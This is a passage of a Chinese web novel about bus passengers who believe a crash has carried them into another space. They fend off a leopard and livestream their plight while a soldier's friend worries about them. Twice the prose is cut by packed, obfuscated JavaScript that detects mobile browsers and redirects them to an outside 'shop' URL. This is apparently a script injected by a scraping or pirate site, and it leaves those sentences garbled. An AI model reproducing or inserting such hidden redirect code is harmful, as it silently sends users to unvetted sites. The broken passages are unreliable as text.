车里的人还是没做声,李夏有些脸红——一会儿如果救援来了,那自己可就成了个大傻瓜! 3. 第 3 章 片刻后,吕容又捅了下阿强:“你同意她说的吗?” 阿强闷了会,说道:“不知道。” 吕容叫:“什么?!” 喇嘛问:“什么什么?”他根本没听懂。 旁边的司机王大栋拿出手机,问道:“你说什么空间?是哪几个字?”吕容不耐烦地说:“你把手机拿来,我给你输入!”她接过司机的手机,输入了信息搜寻,等结果出来了又递给了王大栋。 王大栋认真地读,喇嘛也凑过去了,指着说:“藏文?”王大栋说:“我不会翻译。” 吕容又伸手拿过了王大栋的手机,说道:“谁会?有好多翻译软件呢,这个迅捷就挺好用的。”把词语贴上翻成了藏文,让喇嘛看。 秦莉没说话,只抱着女儿的肩膀,李夏觉得只要她女儿在身边,秦莉什么都不在乎了。 看着喇嘛在读手机,大家又不说话了,李夏心里打鼓:这是同意还是不同意啊? 喇嘛把王大栋的手机还了回去,想了会儿,拿出自己老旧的手机划亮,指着星键的地方说:“这个,过去那个,不工作的……现在,那个,可以……”他连连按了几下,手机发出按键声。 王大栋附和:“哎,你这么说我也发现了,刚才开门时,那个杆特别顺,过去总有些涩……”他见大家都无语地看他,忙补充:“哦,也许是我师傅去做了维修,没告诉我。” 李夏看向小女孩——小女孩不就开始说话了吗? 吕容不解地看李夏:“姐,你什么意思?” 李夏也不是很确定,只是因为平时她喜欢读一些杂书,前一阵碰巧读了一本,书名是“如何亲吻宇宙”,里面有个细节让她怀疑与现实有关。她问道:“刚才大家都说了自己在车祸时有奇异经历,有谁那时是在自己身体里?” 大家都皱眉,吕容最先摇头,其他人也跟着摇头,就剩下小女孩和喇嘛怔怔的样子。 李夏吸口气,说道:“有个人写过件事,他驾车马上就要撞车了,但下一个瞬间,他停在了路边,完好无缺,坏了的收音机也有声音了,后来,他在通灵时被告知,其实那时他的人和车都被能量化成了……非物质,然后又重新组装了。” 这下,更没人说话了,李夏有些不好意思:“那个(我怎么学了喇嘛的口头禅),我也不知道是不是真的。” 喇嘛问:“什么真的?” 吕容拿起手机,写了些,然后递给了喇嘛多杰。喇嘛读后,马上点头说:“可以的,那个,可以。” 李夏眼睛一亮:“可以?!” 多杰皱着眉,使劲想词儿:“那个……额……打电话问……”他打了电话,说了几句,又专心聆听了半晌,然后学着发音:“虹……虹化?” 吕容皱着眉:“虹化是什么意思?” 李夏也一知半解,但此时能说点就说点,哪怕是给大家些启发,就说:“好像是藏地的高僧通过修为将身体分解为光。虽然与我读的书中例子不同,但物质可以转为非物质这个道理是相通的。” 吕容想了想,惊愕地说:“你是说,我们都曾经被分解过了,那其实我们是死过了呀!” 这样说……倒也没错。 王大栋不同意:“那我们怎么没死?” 阿强忽然说:“能量……能量……额,好像是有关能量的……我那时在那边……他们提过……”他又泄了气儿,没说完。 李夏又聪明了:“对!是能量,人说灵魂是一缕能量,那缕能量离开了物质身体,然后又回来了。” 王大栋说:“哦,就是人说的丢了魂儿吧?” 李夏只好点头:“差不多吧。” 吕容歪头:“那丢了魂儿我们还能活?” 阿强再次努力:“因为……很短?” 李夏现在知道这个阿强是个内秀的人,难怪会成画家!李夏画画最差,完全无法掌握那些细致的笔触和光影。她马上同意:“对啊!一定只是一个瞬间!我们的物质体分解,然后又重组,灵魂再次进入。” 吕容笑着推阿强:“你真聪明!”阿强羞涩地低头。 这次秦莉也说话了:“可我见到我妈妈,那不是一瞬间,我对她哭,说我怎么想她,爸爸怎么想她,她跟我也说了好多话,不是词句,就是意思,让我不要担心,孩子会很好,让我好好照顾孩子……”她眼泪汪汪了。 王大栋也同意:“对呀对呀,我爷我奶还有土地老头跟我说的话,可不是一下就讲完了。当然,好像,他们也没真的开口,但也挺长的呢。” 李夏可是懂这个:“有书上说了,在物质之上有个维度是没有时空的,时间的感觉不一样,进去可能过了很久,再回来不过瞬间。” 王大栋听见有书上说了,就不再质疑了。 吕容佩服:“哇姐,你肯定读了好多书!” 秦莉点头:“我懂,我健身的时候,在跑步机上觉得跑了二十分钟,结果一看表,才过去了五分钟。” 这好像不是一回事…… 吕容又问:“那我们是怎么又被重组回来的?” 王大栋歪头:“一件件地组装我们,还有这个车?” 李夏摇头:“不是,是自动的。” 吕容问:“什么意思?” 李夏回忆:“有书上说,所有的创造都始于意念,物质之前要有一个思想的蓝图……” 多杰挂了电话,语气激昂地对大家用藏语说了一顿,当然,没人听得懂,他只好拿了手机,笨拙地手打藏文,大概是想翻译成中文。 人们看了他片刻,见他太费劲,就又转移了注意力。 阿强思索着说:“我听道家说,人有三魂七魄,就是人体有……自主的……” 吕容拍手:“哦哦!是说人体自动恢复到了最开始的……所以小妹妹说话了!” 秦莉欣慰地笑:“肯定是的!而且我们也都没有受伤。” 吕容疑惑:“那我的眼睫毛怎么掉了?粉也没了?” 李夏想了想问:“你的身体是不是不喜欢这些?” 吕容瞪大眼:“是呀!总是很痒,有时还发炎,但为了好看,不得不戴……啊!我日后真不戴了!也不上粉了,憋气。” 王大栋疑惑:“那车呢?也恢复了出厂的设置?” 李夏说:“不是有蓝图吗?自然按照蓝图复原了。” 阿强有些悚然:“那就是说,那个蓝图……” 李夏明白他的意思,接着说:“就是说所有的设计,所有创意,都一直在,随时可以用来重建。” 吕容忽然叹了口气:“如果我们真的都是重建的了,那是不是就没法离开这里了?” 李夏见除了倚着妈妈在玩长耳朵兔子的小女孩,其他人都表情沉重,忙说:“也许我不对呢,等一会救援的人来了,你们肯定会笑我胡说八道。” 王大栋皱眉:“俺可不想去别处,俺家里还有宅基地呢!俺爸说这是传家宝,俺妈说就等着俺娶媳妇了,说俺这样的,可好找了,现在大学毕业都找不到工作,弄不好俺能娶个大学生呢。” 吕容翻了下眼睛,李夏忙点头:“是啊,我也不想。”其实这挺违心的,李夏觉得换个地方生活也行……但不要在这林子里!没厕所! 王大栋痛苦地说:“俺真不想信恁们说的这些!可车从那个石岩上开出去,没落空,而是着了地,如果是原地落下,车子肯定要被摔得稀烂啊!” 多杰终于翻译好了,把手机递给李夏,李夏念道:“世界是虚幻的,是个梦。科学家已经证明了,如果把物质分解到极细微,最后的存在是个念头,所以是思想的投射,成就了我们的世界,现实是思想的叠加。佛说,有三千大千世界,一切都是可能的。” 吕容说:“那个大人物……叫什么来着,也说世界是虚拟的。” 阿强小声说:“是马斯克吗?” 吕容一拍手:“就是!你太聪明了!” 吕容看李夏说:“可如果真的是在另外的时空了,我们为何还能打电话上网?” 王大栋说:“对啊,这车里有路由器,俺们还能上网。” 阿强再次猜测:“也许因为,有个通道,还开着?” 李夏同意:“是!而且离我们出事的地方不远,不然就没信号了吧……” 吕容笑了:“那太好了,就是到了平行时空,既然有通道,是不是也能回去呀?” 李夏说:“那我们就顺着车的轨迹往回走,看看很不能开回去。” 吕容支持:“对,进入通道反正被分解了还能回来,死了也能活过来。” 一下,大家的心气神又提了起来,王大栋马上坐在司机位置打着了引擎,换了挡,车子震动,但没有动弹。王大栋开门跳下车,猫腰看了看,马上又跳上车关了车门,扭身过来道:“车子动不了,卡在了一棵被撞倒的树桩上了。恁们说邪门不邪门,俺不是撞到公路外地围栏上了吗?恁们看,前面根本没有撞过的痕迹。” 李夏说:“那我们走路回去看看,我觉得从汽车落地到停下,好像不是很长时间。” 吕容有些害怕:“可是有豹子啊!” 多杰眨眼问:“什么什么?” 吕容拿出手机在翻译软件上打了字,递给他。多杰看了说道:“我,那个,先去外面念经那个……” 李夏有点没把握,问王大栋:“咱们有棍子之类的吗?” 王大栋想了想:“有把铁锹,是为路上遇上事情准备的。”李夏又对其他人说:“咱们都快搜索下野外生存之类的,看看豹子是不是怕火,弄个火把也好。哦,也接着联系救援吧,万一是咱们错了呢?” 虽然这么说,但现在大家心中多少都接受了自己身在异空间的可能。 阿强翻看着网页说:“豹子不怕火,遇到了豹子别看它,它真扑过来,就大喊大叫吓唬他。” 吕容说:“这听着很吓人啊!” 阿强问:“有个盆什么的吗?” 王大栋点头:“有!有个小钢盆,吃饭用的。” 阿强说:“那我敲盆,也跟你们去。” 吕容担心地说:“阿强!你也要出去?” 阿强喃喃地说:“他们都出去,我也不能留下。” 李夏目测了下大家,觉得自己个子最高——她一米七一,阿强大概也就一米六五,司机和喇嘛也都在一米七左右。吕容自然小巧,一米六都不到,秦莉看着也不高大。李夏不好意思留车里,何况主意是她出的,就说:“我也跟你们出去,人多能吓唬豹子,我还能帮着扔块石头呢。” 王大栋说:“这样不好嘞,恁是个女的……”可等到他看见李夏站起走过来比他还高,就没再说话——这么个大高个,该是可以当个男的用的! 多杰又打了个电话,听的多说的少,最后又是一通点头,挂了电话后从座位旁的背包里拿出了一盒香,抽出一根点了,又从手机里调出了个画面,就向车门处走,扭头向王大栋示意:“我上师,那个,说,要唱,那个……”。 王大栋去车后翻出了把铁锹扳手和一个脸大的小盆都递给了起身的阿强。吕容眨着眼睛拉阿强:“我也跟你去吧?” 阿强推开吕容,王大栋对吕容说:“恁去看着拉杆给俺们开车门。”吕容忙应了。 秦莉抱着女儿一脸纠结可没出声,大家也觉得理所当然。 王大栋开了车门,多杰一手举着手机,画面冲外,一手拿着香,迈步下车就开始唱。 等李夏和阿强下了车,王大栋就关了车门,自己从驾驶员的车门跳下,几步到了阿强身边,从阿强手里拿过来铁锹。阿强一手扳手一手钢盆,扭着头到处看。李夏弯腰捡了块比自己手大的石头,也浑身紧绷地看身边的树木。 多杰先是绕着汽车走了一圈儿,大声唱一段儿念一段儿,拿着手机对着树丛晃。他看到阿强手里的盆,示意阿强到他身边,在说唱间匆忙地说:“那个,我高香,你打,不高,不打。” 阿强懂了,看着多杰的手里的香,多杰一举,阿强就用扳手敲盆儿。香一放,阿强就不敲了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338290|199270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >几个人沿着汽车碾压出来的路往前走,不久就走到了头。 多杰不唱了,四个人默默地看着前方。 他们面前是一条小溪,溪水对面是树木稀疏的一片山坡,山坡边缘隐约可见到一线石岩。 王大栋指着上面说:“那个看着像是车掉下来的石岩。” 如果真的是从那上面腾空落下到了这边的溪水边…… 阿强低声说:“那通道……” 王大栋比划着:“是在空中?是在溪水上边的石岩那里?别说现在车动不了,就是日后俺修好了,俺们的车也没法飞啊!” 阿强把盆和扳手交给李夏,掏出手机照了几张相又录了段视频。 李夏看了看有些偏西的太阳,说道:“回去吧。” 王大栋突然指:“看!”他们要走回去的路边,一只豹子弓着身体盯着他们。 多杰马上举着手机对着豹子,放声唱诵,虽然李夏一个词都不懂,但觉得很有气势。她见阿强竟然也双手举着手机对向豹子,心说真有为艺术现身的人,自己只好忍着胃部的剧烈抽搐一边瞟着豹子一边看多杰的香的高低配合着敲盆儿。 多杰挺胸抬头,一边连唱带念一边坚定地迈步往回走,冲着豹子就去了。 李夏觉得多杰在盯着豹子,想跟他说别看豹子,可怕多杰听不懂,还打扰了多杰的唱念,只能紧闭着嘴。 王大栋在多杰身边举起铁锹,对着豹子挥舞起来,嗖嗖带风。 这四人组也许过于诡异,豹子竟然缩了身体,转身跑了…… 他们到了车门前,车门一下打开了,吕容等到阿强进来,猛地抱了阿强的胳膊:“吓死我了!阿强!豹子就在路边啊!你们真勇敢!你太猛了!” 阿强给吕容手机:“我拍照了,还录下来了,可以直播给他们看。” 吕容又看向其他人:“你们也真勇敢!” 王大栋说:“俺有铁锹,不怕!喇嘛才是厉害。” 听到喇嘛这个词,多杰知道在讲他,马上笑着说:“那个,我上师说,不要怕,念咒,不用怕,豹子怕。” 几个人又交换了下表扬的词句,秦莉问:“咱们能回去吗?” 王大栋把车门关了,一屁股坐在病残座位上叹气:“回不去了。” 阿强对吕容说:“道路的尽头我录了视频。”吕容忙打开,秦莉也凑过去,两个人看了,秦莉低头坐回了另外一边的女儿身旁,拿出手机拨了号,带着哭腔说:“老公,我们可能回不去了。”然后她绷不住就又开始哭了…… 某军营中,一个佩戴着上尉军衔肩章的人疾步走到一处无人场地,等着手机接通后,嘶哑着声音说:“兄弟,看在咱们四年上下铺的交情上,你要拉哥一把!不然我真的会死的,我不骗你,我肯定活不下去了!” 少校陆锐接到了自己军校同学何牧要求十分钟后通话的短信,特意从作战参谋室出来,还没走出大楼,电话就响了,他听着耳机里的话,尽量不在脸上露出什么表情,只淡淡地问:“出了什么事?” 就像何牧说的,两个人在军校是上下铺,何牧总是在临睡前找陆锐聊天。陆锐半坐在床上,有时看到头朝下的何牧额头青筋都突出来了,真担心何牧的脑血管会炸。 何牧是个浪漫随性的人,在高中吊儿郎当,走路都是依里歪斜的。他父亲是军队的,就逼着何牧考了军校。何牧最后的确被训练出了一副职业军人的样子,但这期间对他的下铺陆锐倾倒了无数绝望愤怒后悔不甘等负面垃圾,如果不是陆锐天生是个冷淡无感的人,大概会被何牧逼疯。陆锐有时觉得自己担任了何牧的朋友、同学、父亲和教导员等多重角色。 陆锐的父亲是军队的高级将领,起名字的时候就注定了儿子日后也是当兵的命。陆锐自幼在军队大院长大,敬仰军威,自觉地通读兵书军事史,真心向往军旅生活,所以决不共情何牧,结果被何牧看做磐石般的存在,可以说,何牧是死扒着陆锐的坚定不移才熬过了军校生涯。 两个人出了军校都是从副排做起,七八年就拉开了距离:何牧一毕业就找了位美女结了婚,现在女儿都三四岁了。虽然孩子不会说话,但何牧对妻女无比珍爱,心思只够做好本职工作,如今只到了正连级,日后大概就等着完成了服役期限退伍了。 而陆锐则一心扑在了军队,发奋努力,有事的时候干到深夜,甚至通宵,次日还准时出操。 他尽心尽责,还有个高级军二代的背景,很快就被一次次提干,此时已经是少校军衔,进入了参谋部成了作战参谋,是军队重点培养的优秀年轻人才。只是还是单身,与何牧合作演绎了事业和家庭只能一枝独秀的案例。 何牧低声说:“你来接我!便衣,马上来,我和你见面谈。” 陆锐迟疑,何牧急促地说:“你真的要来,我活不下去了,真的!” 陆锐很熟悉何牧这种激烈带着些夸张的情绪,在军校何牧也常说自己累得不想活了,陆锐像是又回到了宿舍——那遥远的青葱岁月! 这些年何牧很少这么激动了,这家伙家庭和美,见面打电话都是吹嘘自己怎么快乐充实,总督促陆锐找女朋友之类的,怎么猛地再少年了?大概是与何牧最重视的小家庭有关。 陆锐想自己已经把资料整理好交上去了,今天的工作算是完成了,早点离开一下也行。何牧对外人是能保持住稳重的外表的,不然他怎么当连长。大概就是对自己才会露出如此脆弱崩溃的行为,自己就算是去重温一下军校生活吧! 陆锐终于说:“好,我这边打个招呼,这就去接你。” 何牧焦急地说:“你快来!我换了衣服就出营等你!” 两边都报备了一下,一个小时后,在军营外站岗的哨兵旁,何牧跳上了陆锐开的轿车,两个人都是便衣,大概这样就不用担心一会儿何牧失控会军容不整。 何牧到了车上,好像在发抖,陆锐瞥了他一眼,“你不是干了什么叛国的事吧?” 何牧嘴唇哆嗦:“别开玩笑,我要死了,你快点去个没人的地方。” 4. 第 4 章 陆锐开了一会,把车停到了一处僻静的街道边,扭头问道:“你怎么了?” 何牧脸上一层虚汗,对陆锐说:“我老婆她说她到了异空间,回不来了。” 陆锐停顿了一下,把手伸向钥匙:“我送你去军医院吧。精神科没什么人挂号,现在能看上……” 何牧一下按住陆锐的手臂,要哭了的样子:“真的!你听我从头说。她说她梦到了一个寺庙,能让我女儿说话,她去上网真查到了有那么个寺庙,她就信了……” 陆锐眉心微蹙:“也许你老婆也该挂精神科的号……”你们夫妻两个都需要治疗! 何牧接着说:“她说那边是个旅游点,就算带女儿去看看山,我当时没觉得有什么问题,就没有反对……”他猛地打自己的脑袋:“我怎么这么傻啊!” 一个词浮现在陆锐脑海:祥林嫂……他冷冷地打断何牧的癫狂:“出了什么事?她们失踪了?” 何牧摇头:“不能算失踪吧,还能联系上。” 陆锐冷漠了:“这不就行了?” 何牧焦灼:“你听我说!今天中午过后不久,她给我打电话,说出了车祸,她没有受伤,而且我们的女儿能说话了!我特别高兴啊!……” 陆锐有些不耐烦了,“这不是没事吗?你担什么心?” 何牧语音发抖:“然后,过了一个多小时,她又给我电话,说,说她们在异空间,大概回不来了,周围有豹子,我女儿才三岁多啊……”他使劲抓陆锐的胳膊。 陆锐说:“冷静!冷静!‘她说’!你们最近吵架了吗?她是为了给女儿看病还是离家出走?”是不是为了引起你的注意? 何牧嘶声:“我们没吵架!你怎么不听我说!我们的女儿会说话了!我们都特别高兴啊!” 陆锐叹气:“异空间不是只说说的,到了异空间怎么可能有手机信号?” 何牧放开抓住陆锐胳膊的手,拿出自己的手机:“她说当时车子颤动,不知道是地震还是故障了,反正汽车冲到路外面去,从石岩上掉下去了。我在网上看了,根本没有什么地震!我老婆说,司机让人报了警,可出了车祸两个多小时了,救援没有到!她给我发来了豹子的照片和视频,还有她们的汽车从山岩上落下来的地方,你看看,你看看,这不是她们去的那片地方啊!你看,车外有豹子的那个视频,我女儿就在车里!你看,还有我老婆发来的视频,她和女儿,她也拍了外面,你看看这些树,我们见过吗?……” 在何牧的语无伦次中,陆锐仔仔细细地反复看那几个视频和照片,这次他的眉头真的皱起来了。 见陆锐不反驳他了,何牧反而虚了:“你……你相信她们在异空间了吧?”没说完,微信叮地一声,新的视频发来了。何牧忙划开,视频里小女孩笑着,对着镜头摇手,然后镜头晃悠着扫过车内,又回到小女孩身上,小女孩还是笑着。 视频结束后,何牧喃喃地说:“她们要是……要是回不来了……我就死!陆锐,我最好的朋友就是你。你帮着我料理后事,东西都给我爸妈,替我说声对不起……” 陆锐凝眉:“闭嘴!知道对不起你爸妈你还敢死?” 何牧眼睛大瞪:“我知道我知道,那些话我都知道,要坚强什么的,生命永恒,我还年轻……别跟我说这些。我心这里,受不了。我真活不下去,如果她们回不来了,那边有豹子……我活不下去,真的,我这里面突然就是空空的,黑色的,她们不在的话,我也没命了……” 陆锐严厉道:“不许这么说!你军校白上了?国家培养了你这个军官,结果成了个软蛋?!” 何牧说:“那我就去为国家死!没事,我去个危险的地方……” 陆锐一次次地看那些资料,咬牙吸气:“别说话!让我想想!这不科学!我能找出破绽。” 何牧说:“我老婆给我讲了他们这些人是怎么看这事的,我跟你说……” 他颠三倒四地说了一顿,别说陆锐,连他自己都不相信。 陆锐直接忽略了这些废话!指着图片中的一行水印:“旅游小仙子?这是什么?” 何牧说:“这是个网络直播号,我们快去看看!” 陆锐打开抖音,关注了这个直播号,发现正好有直播时段,忙进入了直播室,离直播开始的时间还有五分钟,主播还没来,但已经有人在等待了。几行弹幕刷过: 小仙子好吗?你们都好吗? 豹子又来了吗? 救援人员到了吗? …… 陆锐沉默着,何牧又开始了车轱辘话:“你说,你说,我是不是在做梦,我们现在都在做梦对不对?我回去睡一觉,我老婆就会告诉我她们安全到家了对不对?你说……” 好在陆锐没有忍受多久,一个女孩略显苍白的脸出现在了直播间,说道:“家人们……” 直播间上一片弹幕: 小仙子来啦! 你好漂亮! 是不是已经脱险了?我祝了你们平安呢! …… 李夏等着秦莉哭泣着打完了电话,看着天色发暗,忙开口道:“这里的时间许是和我们那边差不多的,现在这里也是下午了,如果没有救援,咱们得赶快商量一下后面的事情。” 几个人都看李夏——他们觉得李夏是个记者,读了那么多书,该是最有知识的人了。李夏见没人开口,只好说:“关于吃的吧,一会儿咱们再说,关键不能饿着孩子。”大家都点头,秦莉感激地看李夏。 李夏继续:“我在书上看了,人饿三周都不会死,但是没有水三天都过不去,而且要是干净的水,否则拉了肚子也熬不下去。我们刚才看了,不远的地方有条小溪,我们现在最要紧的,是赶快烧水,保证大家有足够的水喝,另外要想想厕所的问题。我们的车现在动不了,就不能随便,不然过几天我们车子周围就没法去了。所以第二件要紧的事,就是找地方挖厕所……” 人们跟着点头,还没人讲话,李夏就问王大栋:“车上有充电的,能保持多长时间?” 王大栋说:“汽车能打火就能有电源,这车早上才加满了油,现在又没法开,这油怎么也能……一两个月?” 李夏看吕容和阿强:“你们接着直播吧,让大家帮咱们想些办法,比如这周围的植物有什么能吃的,野外怎么生存之类的。” 吕容使劲点头,觉得自己被委以了重任。 李夏想了想说:“我们的经历和那些讨论,大家不会相信……” 吕容同意:“我明白,不能对他们说。他们如果觉得我在胡说,当场就会离开,我会小心的。” 李夏微笑:“你是专业网播,肯定会说话。”她又看阿强:“你让秦莉帮着直播,我们得去弄水和挖厕所,外面有豹子,我们需要你。” 阿强马上点头。李夏看了下自己的表:“十分钟……或者十五分钟吧,大家给家里打电话也好,安排直播也好,十五分钟后,咱们出去装水,开始烧水。” 人们都应了,只有喇嘛呆呆地眨眼,李夏坐到他身边,拿出手机找到翻译软件,把刚才说意思转成藏文。多杰一边看一边点头,然后笑笑,又拿出手机打电话了。 秦莉给女儿拍视频,阿强在她旁边指点,大概是说些直播的事情。吕容对着小镜子涂口红。 王大栋看着车外用地方话打电话,哇哇叫,像是在吵架…… 李夏翻看着手机,搜索怎么在野外挖旱厕的内容,越看越觉得旱厕很恶心,其实最好的是在那条溪水上……可豹子怎么办?其他的野兽呢?…… 她宁可做这些事情,也不想联系父母。即使她知道她已经死了一次,可还是不能放弃执着。 李夏自嘲地想,难怪冤亲债主可以纠缠累生累世,怨念起了,的确难以消散。原来,生死之隔,不仅有恋恋不舍,也有淡漠无情。 王大栋放下手机,沮丧地对李夏说:“俺娘他们都不相信俺,说俺是疯了,咋都说不通,让俺相信政府,救援就会到了。” 多杰说了几句,也停了手机,问道:“我们,那个,开始?” 王大栋问:“恁告诉恁上师了吗?恁的那个上师说了啥?” 大概多杰听懂了上师这个词,他马上笑着说:“上师,那个,说,额,那个没关系的,哪里,都一样的那个,一样的。” 王大栋不同意:“哪儿能一样?”他刚要细说,忽然叹气:“算了,说了恁也听不懂,走,俺们去想办法烧水。” 李夏说:“有打火机或者火柴吗?” 王大栋想了想:“应该有,俺师傅抽烟,到处都放了打火机,俺记得工具箱里有一个。” 李夏说:“真太好了!咱们把水瓶都拿出来放到司机的座位上,一会儿容易从外面取。”人们都找水瓶,因为是出来旅游,每个人都带了水瓶,司机座位上堆了保温壶玻璃壶等。 准备出发了,李夏又说:“一会儿点火得用些汽油。” 王大栋说:“那可精贵着呢!” 李夏说:“那也得用啊,不然那些东西不好点着,我们的打火机也得省着,不然要钻木取火了。” 王大栋只好答应下来。他走到汽车最后一排座位的后面翻动,又拎出了一个塑料桶,李夏提了,跟着拿着铁锹的阿强和手举手机的多杰身后下了车。王大栋教了吕容怎么关了车门,然后才下了车。 大概上次豹子跑了,这次多杰的唱诵比上次放松多了,更像是抒情歌曲。但是他一边唱,还是一边举着手机来回照。 几个人走到了溪水边,李夏蹲下,用溪水好好洗了桶,装满了水,然后仔细打量着溪水上下,指着下游的一个地方说:“我们到时候在那里垫上脚垫石当厕所,车附近挖的旱厕只是小便。” 这个内容虽然羞人,但此时却是最重要的。 王大栋没反对:“行。” 阿强稍微犹豫:“那下游……” 李夏解释:“水会分解过滤杂物,而我们喝的溪水里也不排除野兽和鸟类的排泄,所以一定要烧开。” 阿强不说话了,几个人动手用石头搭了个简单的蹲位,然后王大栋和喇嘛多杰用铁锹杆儿提着水,人们走回汽车的司机门旁。 大家又捡了些枯枝,李夏照着网上说的用石块泥土砌了个半圆的灶,把水倒入不锈钢的小盆,王大栋找出了个只剩了一点儿液体的打火机,又去吸了点汽油出来,点了火。 因为枝子不干,烟雾很大,四个人都挪到上风口,李夏随口说:“哪本书上提过,动物怕烟。” 王大栋再次佩服:“还是读书好啊。”大家更松弛了些。 一盆水烧开,王大栋去开司机的车门,把大家的水瓶都拿了出来。只是一小盆水只灌满了一瓶多一些,然后又得烧第二盆。 既然决定大的都在溪水处解决,只需要在车附近清理出一块空地当小便的地方就行了。于是几个人决定李夏就在车门边看着烧水,有事可以随时跳上车,三个男士去下风口的地方去铲除杂草树枝,再来个小沟,算是小便旱厕。 王大栋选了两根地上粗些的树枝,用铁锹铲掉小枝,算是做出了两根棍子。然后三个人轮流,一人挖地,两个人提着棍子面朝外守护。这期间多杰一直在唱,李夏诧异多杰的嗓子一点没哑,底气真足。 车门一响,李夏扭头,看到吕容跳了下来,接着秦莉也举着手机杆下来了。知道她们在直播,李夏没有开口询问。 其实李夏他们下了车,吕容就开始直播了。 因为吕容想看看大家的反应,就对秦莉说:“我先用前置相机自拍直播,然后我们出去的时候你再拿手机后置相机拍我,像阿强那样。”秦莉点头,小女孩抱着兔子大瞪着眼睛在旁边看。 吕容深感重任,现身时面部表情就很严肃。她举着手机杆开口道:“家人们……” 说完这句话,她一下哽住了。 她是从一个小山村跑出来的。 上完了初中,她父母就让她嫁人,还收了对方一万块彩礼。在那个地区一万彩礼可是一笔巨款了,盖因她是村里出名的“美人”。她的姐姐也很漂亮,也在这个年纪就嫁给了出彩礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338291|199270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最高一户人家。刚过了门就挨打——媳妇到手了就觉钱花多了,生了个女儿之后就更厉害,有时被全家轮流暴打。吕容去看姐姐也险些被那个丑陋的姐夫揍一顿。所以吕容可不想走姐姐的路,她表面答应了下来,趁着父母高兴得在村里四处炫耀时,去父母的屋里偷了自己的身份证和一千块钱,当夜跑出了村。 她走了一夜,到了一个小城,买了最早发车的车票到了一个中型城市,然后又转车去了个大城市,因为她听说在大城市里就能找到工作,能养活自己。 她说话有口音,从家政做起,慢慢普通话好了,就试着做更多的工作。她遇到了从小喜欢画画但家里买不起油画料的周小强。周小强除了画画,其他课程都学不进去,初中时各科不及格,就被失望的父母赶出了家门——让他去经历一下生活的苦,想读书了再回来。但周小强宁可送外卖,业余学画画也不想回家。 周小强又瘦又矮,从来不与吕容犟嘴吵架,两个异乡人相依为命,一个送外卖,一个发传单当服务员打几份工,在交了房租后使劲存钱,不知道什么时候能结婚,但吕容觉得自己有了个家。 一天,吕容意识到人们忽然都刷上小视频了,就决定当网播。虽然网播好当,可她没文化没特长,就选了个旅游赛道。她和周小强到处跑,给大家介绍那些不是很出名的旅游点——出名的拍的人太多了。两个人靠着周小强的一点积蓄走南闯北,有时为了省钱,甚至风餐露宿。吕容几次想放弃,但周小强却说他喜欢这样,可以好好看景色,日后画出来。 终于有了几千粉丝,虽然收益不高,但算是起步了。 现在突然到了这个地方,亲人都不见得能帮得了,这些粉丝真成了家人了。 吕容平静了下情绪,看着手机里那些问候,在愁容中显出一丝强笑:“家人们,我们好像来到了一个奇怪的地方。” 弹幕: 小仙子,别难受。 什么地方? 是因为有豹子吗? …… 吕容说:“救援到现在还没有来,你们看看车子的周围……”她起身,用车窗外的景色做背景。 弹幕: 怎么会?现在哪里有什么奇怪的地方。 播主肯定不是在那个地方啦!这么多的树! 我上次看了直播,她一开始的确是在山路上,后来直播就断了。 豹子,豹子呢? 小仙子!你好漂亮!不用化那么浓的妆。 对,天然去雕饰! 李桥镇的张玉玲,我想你了! 这里有开封万岁山的人吗? …… 吕容努力争取人们的注意力:“家人们,我们的汽车被卡住了,顺着汽车的痕迹往回走,一直到了溪水边,你们看看这是视频。” 吕容播放了阿强录的视频,接着说:“家人们,看清楚了吗?你们看这个车胎痕迹是从溪水边开始的,我们的汽车不可能越过溪水啊,因为那时上山的时候,只有山路,哪里有溪水?” 一片弹幕: 小仙子!别担心!会好的! 这不是从别处录了拼接的吧? 咦?这周围的情景和你在车上的直播完全不一样啊! 假! 这和你上次看到豹子的直播是一样的,那时你可没说奇怪。 …… 吕容回答:“家人们,让我把这事从头说一遍,家人们记得我在去景点的车上直播吧?就在直播中间,发生了事故!当时一阵颤动,我们的车正好在转弯处,就冲出了路边,然后朝着石岩过去啦!我记得从石岩上腾空飞起……然后落地颠簸,后来突然停下来了。”吕容不敢讲自己中间的经历,她明白李夏的意思了——现在光能看到的事实就已经很难以理解了,再加上那些虚的,更没人信了。她继续说道:“……然后我以为只是发生了车祸,而且我们都安全啦,就下车去直播了,后来的事情大家都知道了,一只豹子扑了出来,如果不是记者姐姐喊我们回来,我不知道还能不能在这里直播啊!” 弹幕: 有人信吗? 小仙子,我信! 啊?!你们去了什么地方?那个景点周围有豹子? 不是在骗人吧?现在总是有人危言耸听! 真够假! …… 吕容说:“后来我们顺着汽车冲下的道往回走,就又遇到了豹子!” 弹幕: 什么?! 不会吧! 真有豹子?你不是在开玩笑? 你们没有受伤吧? 假! 李桥镇的张玉玲!我知道你喜欢这个网播,你在吗? …… 吕容说:“这次我们的摄影师冒死拍摄了豹子的近景……” 她切入了阿强拍的豹子的视频。豹子在路边看着他们,视频里有半个喇嘛的侧影,喇嘛在大声唱诵,有人敲盆,还有一个人在挥舞着铁锹。 弹幕纷飞: 天哪!是豹子! 小仙子!小心啊! 那是个喇嘛吗?用唱歌在吓唬豹子?哈哈! 我觉得豹子应该怕那个挥铁锹的。 那个盆敲得一点都不响!是吓得手软了吗? 这是真的吗?不是摆拍吧? 讲真,现在哪里有豹子?豹皮很贵的知不知道。 弄个假豹子骗流量! 豹子怎么会有假的?!人扮的吗? 